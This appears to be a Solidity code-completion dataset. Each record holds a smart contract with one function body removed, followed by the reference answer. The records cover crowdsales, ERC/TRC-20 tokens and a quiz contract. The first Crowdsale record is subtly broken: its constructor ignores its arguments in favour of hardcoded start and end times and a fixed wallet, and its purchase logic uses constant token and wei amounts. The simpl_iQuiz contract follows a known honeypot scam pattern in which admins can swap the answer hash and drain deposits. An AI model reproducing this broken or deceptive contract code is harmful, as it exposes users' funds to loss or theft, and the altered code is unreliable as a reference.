getTokenAmount(200000); // update state weiRaised = weiRaised.add(1000); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { return weiAmount.mul(rate); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } // @return true if the transaction can buy tokens function validPurchase() internal view returns (bool) {<FILL_FUNCTION_BODY> } }
contract Crowdsale { using SafeMath for uint256; // The token being sold MintableToken public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei uint256 public rate; // amount of raised money in wei uint256 public weiRaised; /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); token = createTokenContract(); startTime = 0; endTime = 2; rate = 20000; wallet = 0x8C233b0Ab41F713336105e178bF4bF327d636Ea0; } // fallback function can be used to buy tokens function () external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = getTokenAmount(200000); // update state weiRaised = weiRaised.add(1000); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } // @return true if crowdsale event has ended function hasEnded() public view returns (bool) { return now > endTime; } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (MintableToken) { return new MintableToken(); } // Override this method to have a way to add business logic to your crowdsale when buying function getTokenAmount(uint256 weiAmount) internal view returns(uint256) { return weiAmount.mul(rate); } // send ether to the fund collection wallet // override to create custom fund forwarding mechanisms function forwardFunds() internal { wallet.transfer(msg.value); } <FILL_FUNCTION> }
bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase;
function validPurchase() internal view returns (bool)
// @return true if the transaction can buy tokens function validPurchase() internal view returns (bool)
9056
BitcoinUniswap
decreaseAllowance
contract BitcoinUniswap is ITRC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = "Bitcoin Uniswap"; _symbol = "BTCu"; _decimals = 18; _totalSupply = 2100 * 10 ** uint256(_decimals); _balances[msg.sender] = _totalSupply; } /** * @return the name of the token. */ function name() public view returns (string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function emergencyTRC20Drain( ITRC20 token, uint amount ) onlyOwner public { token.transfer( owner, amount ); } }
contract BitcoinUniswap is ITRC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _name = "Bitcoin Uniswap"; _symbol = "BTCu"; _decimals = 18; _totalSupply = 2100 * 10 ** uint256(_decimals); _balances[msg.sender] = _totalSupply; } /** * @return the name of the token. */ function name() public view returns (string) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom( address from, address to, uint256 value ) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } <FILL_FUNCTION> /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function emergencyTRC20Drain( ITRC20 token, uint amount ) onlyOwner public { token.transfer( owner, amount ); } }
require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true;
function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool)
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool)
19317
Owned
Owned
contract Owned { address public owner; function Owned() {<FILL_FUNCTION_BODY> } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) external onlyOwner { owner = newOwner; } }
contract Owned { address public owner; <FILL_FUNCTION> modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) external onlyOwner { owner = newOwner; } }
owner = msg.sender;
function Owned()
function Owned()
2682
simpl_iQuiz
Try
contract simpl_iQuiz { function Try(string _response) external payable {<FILL_FUNCTION_BODY> } string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string _question, string _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(_response); question = _question; } } function Stop() public payable isAdmin { msg.sender.transfer(this.balance); } function New(string _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] admins) public{ for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(msg.sender)]); _; } function() public payable{} }
contract simpl_iQuiz { <FILL_FUNCTION> string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string _question, string _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(_response); question = _question; } } function Stop() public payable isAdmin { msg.sender.transfer(this.balance); } function New(string _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] admins) public{ for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(msg.sender)]); _; } function() public payable{} }
require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 0.4 ether) { msg.sender.transfer(this.balance); }
function Try(string _response) external payable
function Try(string _response) external payable
16120
CrowdsaleToken
contract CrowdsaleToken is StandardToken, Configurable, Ownable { enum Stages { none, icoStart, icoEnd } Stages currentStage; constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } function () public payable {<FILL_FUNCTION_BODY> } function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } }
contract CrowdsaleToken is StandardToken, Configurable, Ownable { enum Stages { none, icoStart, icoEnd } Stages currentStage; constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } <FILL_FUNCTION> function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } }
require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner
function () public payable
function () public payable
20889
Vermillion
null
contract Vermillion is ERC20, ERC20Burnable { constructor(string memory _name, string memory _symbol, uint256 totalSupply) public ERC20(_name, _symbol) {<FILL_FUNCTION_BODY> } }
contract Vermillion is ERC20, ERC20Burnable { <FILL_FUNCTION> }
_mint(msg.sender, totalSupply);
constructor(string memory _name, string memory _symbol, uint256 totalSupply) public ERC20(_name, _symbol)
constructor(string memory _name, string memory _symbol, uint256 totalSupply) public ERC20(_name, _symbol)
2968
RPTCrowdsale
getCurrentBonusRate
contract RPTCrowdsale { using SafeMath for uint256; RPTToken public token; // Token variable //variables uint256 public totalWeiRaised; // Flag to track the amount raised uint32 public exchangeRate = 3000; // calculated using priceOfEtherInUSD/priceOfRPTToken uint256 public preDistriToAcquiantancesStartTime = 1510876801; // Friday, 17-Nov-17 00:00:01 UTC uint256 public preDistriToAcquiantancesEndTime = 1511827199; // Monday, 27-Nov-17 23:59:59 UTC uint256 public presaleStartTime = 1511827200; // Tuesday, 28-Nov-17 00:00:00 UTC uint256 public presaleEndTime = 1513036799; // Monday, 11-Dec-17 23:59:59 UTC uint256 public crowdfundStartTime = 1513036800; // Tuesday, 12-Dec-17 00:00:00 UTC uint256 public crowdfundEndTime = 1515628799; // Wednesday, 10-Jan-18 23:59:59 UTC bool internal isTokenDeployed = false; // Flag to track the token deployment // addresses address public founderMultiSigAddress; // Founders multi sign address address public remainingTokenHolder; // Address to hold the remaining tokens after crowdfund end address public beneficiaryAddress; // All funds are transferred to this address enum State { Acquiantances, PreSale, CrowdFund, Closed } //events event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event CrowdFundClosed(uint256 _blockTimeStamp); event ChangeFoundersWalletAddress(uint256 _blockTimeStamp, address indexed _foundersWalletAddress); //Modifiers modifier tokenIsDeployed() { require(isTokenDeployed == true); _; } modifier nonZeroEth() { require(msg.value > 0); _; } modifier nonZeroAddress(address _to) { require(_to != 0x0); _; } modifier onlyFounders() { require(msg.sender == founderMultiSigAddress); _; } modifier onlyPublic() { require(msg.sender != founderMultiSigAddress); _; } modifier inState(State state) { require(getState() == state); _; } modifier inBetween() { require(now >= preDistriToAcquiantancesStartTime && now <= crowdfundEndTime); _; } // Constructor to initialize the local variables function RPTCrowdsale (address _founderWalletAddress, address _remainingTokenHolder, address _beneficiaryAddress) { founderMultiSigAddress = _founderWalletAddress; remainingTokenHolder = _remainingTokenHolder; beneficiaryAddress = _beneficiaryAddress; } // Function to change the founders multi sign address function setFounderMultiSigAddress(address _newFounderAddress) onlyFounders nonZeroAddress(_newFounderAddress) { founderMultiSigAddress = _newFounderAddress; ChangeFoundersWalletAddress(now, founderMultiSigAddress); } // Attach the token contract function setTokenAddress(address _tokenAddress) external onlyFounders nonZeroAddress(_tokenAddress) { require(isTokenDeployed == false); token = RPTToken(_tokenAddress); isTokenDeployed = true; } // function call after crowdFundEndTime it transfers the remaining tokens to remainingTokenHolder address function endCrowdfund() onlyFounders returns (bool) { require(now > crowdfundEndTime); uint256 remainingToken = token.balanceOf(this); // remaining tokens if (remainingToken != 0) { token.transfer(remainingTokenHolder, remainingToken); CrowdFundClosed(now); return true; } else { CrowdFundClosed(now); return false; } } // Buy token function call only in duration of crowdfund active function buyTokens(address beneficiary) nonZeroEth tokenIsDeployed onlyPublic nonZeroAddress(beneficiary) inBetween payable public returns(bool) { fundTransfer(msg.value); uint256 amount = getNoOfTokens(exchangeRate, msg.value); if (token.transfer(beneficiary, amount)) { token.changeTotalSupply(amount); totalWeiRaised = totalWeiRaised.add(msg.value); TokenPurchase(beneficiary, msg.value, amount); return true; } return false; } // function to transfer the funds to founders account function fundTransfer(uint256 weiAmount) internal { beneficiaryAddress.transfer(weiAmount); } // Get functions // function to get the current state of the crowdsale function getState() internal constant returns(State) { if (now >= preDistriToAcquiantancesStartTime && now <= preDistriToAcquiantancesEndTime) { return State.Acquiantances; } if (now >= presaleStartTime && now <= presaleEndTime) { return State.PreSale; } if (now >= crowdfundStartTime && now <= crowdfundEndTime) { return State.CrowdFund; } else { return State.Closed; } } // function to calculate the total no of tokens with bonus multiplication function getNoOfTokens(uint32 _exchangeRate, uint256 _amount) internal returns (uint256) { uint256 noOfToken = _amount.mul(uint256(_exchangeRate)); uint256 noOfTokenWithBonus = ((uint256(100 + getCurrentBonusRate())).mul(noOfToken)).div(100); return noOfTokenWithBonus; } // function provide the current bonus rate function getCurrentBonusRate() internal returns (uint8) {<FILL_FUNCTION_BODY> } // provides the bonus % function getBonus() constant returns (uint8) { return getCurrentBonusRate(); } // send ether to the contract address // With at least 200 000 gas function() public payable { buyTokens(msg.sender); } }
contract RPTCrowdsale { using SafeMath for uint256; RPTToken public token; // Token variable //variables uint256 public totalWeiRaised; // Flag to track the amount raised uint32 public exchangeRate = 3000; // calculated using priceOfEtherInUSD/priceOfRPTToken uint256 public preDistriToAcquiantancesStartTime = 1510876801; // Friday, 17-Nov-17 00:00:01 UTC uint256 public preDistriToAcquiantancesEndTime = 1511827199; // Monday, 27-Nov-17 23:59:59 UTC uint256 public presaleStartTime = 1511827200; // Tuesday, 28-Nov-17 00:00:00 UTC uint256 public presaleEndTime = 1513036799; // Monday, 11-Dec-17 23:59:59 UTC uint256 public crowdfundStartTime = 1513036800; // Tuesday, 12-Dec-17 00:00:00 UTC uint256 public crowdfundEndTime = 1515628799; // Wednesday, 10-Jan-18 23:59:59 UTC bool internal isTokenDeployed = false; // Flag to track the token deployment // addresses address public founderMultiSigAddress; // Founders multi sign address address public remainingTokenHolder; // Address to hold the remaining tokens after crowdfund end address public beneficiaryAddress; // All funds are transferred to this address enum State { Acquiantances, PreSale, CrowdFund, Closed } //events event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount); event CrowdFundClosed(uint256 _blockTimeStamp); event ChangeFoundersWalletAddress(uint256 _blockTimeStamp, address indexed _foundersWalletAddress); //Modifiers modifier tokenIsDeployed() { require(isTokenDeployed == true); _; } modifier nonZeroEth() { require(msg.value > 0); _; } modifier nonZeroAddress(address _to) { require(_to != 0x0); _; } modifier onlyFounders() { require(msg.sender == founderMultiSigAddress); _; } modifier onlyPublic() { require(msg.sender != founderMultiSigAddress); _; } modifier inState(State state) { require(getState() == state); _; } modifier inBetween() { require(now >= preDistriToAcquiantancesStartTime && now <= crowdfundEndTime); _; } // Constructor to initialize the local variables function RPTCrowdsale (address _founderWalletAddress, address _remainingTokenHolder, address _beneficiaryAddress) { founderMultiSigAddress = _founderWalletAddress; remainingTokenHolder = _remainingTokenHolder; beneficiaryAddress = _beneficiaryAddress; } // Function to change the founders multi sign address function setFounderMultiSigAddress(address _newFounderAddress) onlyFounders nonZeroAddress(_newFounderAddress) { founderMultiSigAddress = _newFounderAddress; ChangeFoundersWalletAddress(now, founderMultiSigAddress); } // Attach the token contract function setTokenAddress(address _tokenAddress) external onlyFounders nonZeroAddress(_tokenAddress) { require(isTokenDeployed == false); token = RPTToken(_tokenAddress); isTokenDeployed = true; } // function call after crowdFundEndTime it transfers the remaining tokens to remainingTokenHolder address function endCrowdfund() onlyFounders returns (bool) { require(now > crowdfundEndTime); uint256 remainingToken = token.balanceOf(this); // remaining tokens if (remainingToken != 0) { token.transfer(remainingTokenHolder, remainingToken); CrowdFundClosed(now); return true; } else { CrowdFundClosed(now); return false; } } // Buy token function call only in duration of crowdfund active function buyTokens(address beneficiary) nonZeroEth tokenIsDeployed onlyPublic nonZeroAddress(beneficiary) inBetween payable public returns(bool) { fundTransfer(msg.value); uint256 amount = getNoOfTokens(exchangeRate, msg.value); if (token.transfer(beneficiary, amount)) { token.changeTotalSupply(amount); totalWeiRaised = totalWeiRaised.add(msg.value); TokenPurchase(beneficiary, msg.value, amount); return true; } return false; } // function to transfer the funds to founders account function fundTransfer(uint256 weiAmount) internal { beneficiaryAddress.transfer(weiAmount); } // Get functions // function to get the current state of the crowdsale function getState() internal constant returns(State) { if (now >= preDistriToAcquiantancesStartTime && now <= preDistriToAcquiantancesEndTime) { return State.Acquiantances; } if (now >= presaleStartTime && now <= presaleEndTime) { return State.PreSale; } if (now >= crowdfundStartTime && now <= crowdfundEndTime) { return State.CrowdFund; } else { return State.Closed; } } // function to calculate the total no of tokens with bonus multiplication function getNoOfTokens(uint32 _exchangeRate, uint256 _amount) internal returns (uint256) { uint256 noOfToken = _amount.mul(uint256(_exchangeRate)); uint256 noOfTokenWithBonus = ((uint256(100 + getCurrentBonusRate())).mul(noOfToken)).div(100); return noOfTokenWithBonus; } <FILL_FUNCTION> // provides the bonus % function getBonus() constant returns (uint8) { return getCurrentBonusRate(); } // send ether to the contract address // With at least 200 000 gas function() public payable { buyTokens(msg.sender); } }
if (getState() == State.Acquiantances) { return 40; } if (getState() == State.PreSale) { return 20; } if (getState() == State.CrowdFund) { return 0; } else { return 0; }
function getCurrentBonusRate() internal returns (uint8)
// function provide the current bonus rate function getCurrentBonusRate() internal returns (uint8)
73443
UnilotTailEther
getWinners
contract UnilotTailEther is BaseUnilotGame { uint64 winnerIndex; //Public methods function UnilotTailEther(uint betAmount, address calculatorContractAddress) public { state = State.ACTIVE; administrator = msg.sender; bet = betAmount; calculator = UnilotPrizeCalculator(calculatorContractAddress); GameStarted(betAmount); } function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes) {<FILL_FUNCTION_BODY> } function () public payable validBet onlyPlayer { require(tickets[msg.sender].block_number == 0); require(ticketIndex.length <= 1000); tickets[msg.sender].block_number = uint40(block.number); tickets[msg.sender].block_time = uint32(block.timestamp); ticketIndex.push(msg.sender); NewPlayerAdded(ticketIndex.length, getPrizeAmount()); } function finish() public onlyAdministrator activeGame { uint64 max_votes; uint64[] memory num_votes = new uint64[](ticketIndex.length); for (uint i = 0; i < ticketIndex.length; i++) { TicketLib.Ticket memory ticket = tickets[ticketIndex[i]]; uint64 vote = uint64( ( ( ticket.block_number * ticket.block_time ) + uint( ticketIndex[i]) ) % ticketIndex.length ); num_votes[vote] += 1; if ( num_votes[vote] > max_votes ) { max_votes = num_votes[vote]; winnerIndex = vote; } } uint[] memory prizes = calcaultePrizes(); uint lastId = winnerIndex; for ( i = 0; i < prizes.length; i++ ) { tickets[ticketIndex[lastId]].prize = prizes[i]; ticketIndex[lastId].transfer(prizes[i]); if ( lastId <= 0 ) { lastId = ticketIndex.length; } lastId -= 1; } administrator.transfer(this.balance); state = State.ENDED; GameFinished(ticketIndex[winnerIndex]); } }
contract UnilotTailEther is BaseUnilotGame { uint64 winnerIndex; //Public methods function UnilotTailEther(uint betAmount, address calculatorContractAddress) public { state = State.ACTIVE; administrator = msg.sender; bet = betAmount; calculator = UnilotPrizeCalculator(calculatorContractAddress); GameStarted(betAmount); } <FILL_FUNCTION> function () public payable validBet onlyPlayer { require(tickets[msg.sender].block_number == 0); require(ticketIndex.length <= 1000); tickets[msg.sender].block_number = uint40(block.number); tickets[msg.sender].block_time = uint32(block.timestamp); ticketIndex.push(msg.sender); NewPlayerAdded(ticketIndex.length, getPrizeAmount()); } function finish() public onlyAdministrator activeGame { uint64 max_votes; uint64[] memory num_votes = new uint64[](ticketIndex.length); for (uint i = 0; i < ticketIndex.length; i++) { TicketLib.Ticket memory ticket = tickets[ticketIndex[i]]; uint64 vote = uint64( ( ( ticket.block_number * ticket.block_time ) + uint( ticketIndex[i]) ) % ticketIndex.length ); num_votes[vote] += 1; if ( num_votes[vote] > max_votes ) { max_votes = num_votes[vote]; winnerIndex = vote; } } uint[] memory prizes = calcaultePrizes(); uint lastId = winnerIndex; for ( i = 0; i < prizes.length; i++ ) { tickets[ticketIndex[lastId]].prize = prizes[i]; ticketIndex[lastId].transfer(prizes[i]); if ( lastId <= 0 ) { lastId = ticketIndex.length; } lastId -= 1; } administrator.transfer(this.balance); state = State.ENDED; GameFinished(ticketIndex[winnerIndex]); } }
var(numWinners, numFixedAmountWinners) = getNumWinners(); uint totalNumWinners = numWinners + numFixedAmountWinners; players = new address[](totalNumWinners); prizes = new uint[](totalNumWinners); uint index; for (uint i = 0; i < totalNumWinners; i++) { if ( i > winnerIndex ) { index = ( ( players.length ) - ( i - winnerIndex ) ); } else { index = ( winnerIndex - i ); } players[i] = ticketIndex[index]; prizes[i] = tickets[players[i]].prize; } return (players, prizes);
function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes)
function getWinners() public view finishedGame returns(address[] memory players, uint[] memory prizes)
89738
Unis
permit
contract Unis { /// @notice EIP-20 token name for this token string public constant name = "UniSlurm"; /// @notice EIP-20 token symbol for this token string public constant symbol = "UNIS"; /// @notice EIP-20 token decimals for this token uint8 public constant decimals = 18; /// @notice Total number of tokens in circulation uint public totalSupply = 1_000_000_000e18; // 1 billion UNIS /// @notice Address which may mint new tokens address public minter; /// @notice The timestamp after which minting may occur uint public mintingAllowedAfter; /// @notice Minimum time between mints uint32 public constant minimumTimeBetweenMints = 1 days * 365; /// @notice Cap on the percentage of totalSupply that can be minted at each mint uint8 public constant mintCap = 2; /// @notice Allowance amounts on behalf of others mapping (address => mapping (address => uint96)) internal allowances; /// @notice Official record of token balances for each account mapping (address => uint96) internal balances; /// @notice A record of each accounts delegate mapping (address => address) public delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint96 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice The EIP-712 typehash for the permit struct used by the contract bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when the minter address is changed event MinterChanged(address minter, address newMinter); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice The standard EIP-20 transfer event event Transfer(address indexed from, address indexed to, uint256 amount); /// @notice The standard EIP-20 approval event event Approval(address indexed owner, address indexed spender, uint256 amount); constructor(address account, address minter_, uint mintingAllowedAfter_) public { require(mintingAllowedAfter_ >= block.timestamp, "Unis::constructor: minting can only begin after deployment"); balances[account] = uint96(totalSupply); emit Transfer(address(0), account, totalSupply); minter = minter_; emit MinterChanged(address(0), minter); mintingAllowedAfter = mintingAllowedAfter_; } function setMinter(address minter_) external { require(msg.sender == minter, "Unis::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; } function mint(address dst, uint rawAmount) external { require(msg.sender == minter, "Unis::mint: only the minter can mint"); require(block.timestamp >= mintingAllowedAfter, "Unis::mint: minting not allowed yet"); require(dst != address(0), "Unis::mint: cannot transfer to the zero address"); mintingAllowedAfter = SafeMath.add(block.timestamp, minimumTimeBetweenMints); uint96 amount = safe96(rawAmount, "Unis::mint: amount exceeds 96 bits"); require(amount <= SafeMath.div(SafeMath.mul(totalSupply, mintCap), 100), "Unis::mint: exceeded mint cap"); totalSupply = safe96(SafeMath.add(totalSupply, amount), "Unis::mint: totalSupply exceeds 96 bits"); balances[dst] = add96(balances[dst], amount, "Unis::mint: transfer amount overflows"); emit Transfer(address(0), dst, amount); _moveDelegates(address(0), delegates[dst], amount); } function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } function approve(address spender, uint rawAmount) external returns (bool) { uint96 amount; if (rawAmount == uint(-1)) { amount = uint96(-1); } else { amount = safe96(rawAmount, "Unis::approve: amount exceeds 96 bits"); } allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function permit(address owner, address spender, uint rawAmount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {<FILL_FUNCTION_BODY> } function balanceOf(address account) external view returns (uint) { return balances[account]; } function transfer(address dst, uint rawAmount) external returns (bool) { uint96 amount = safe96(rawAmount, "Unis::transfer: amount exceeds 96 bits"); 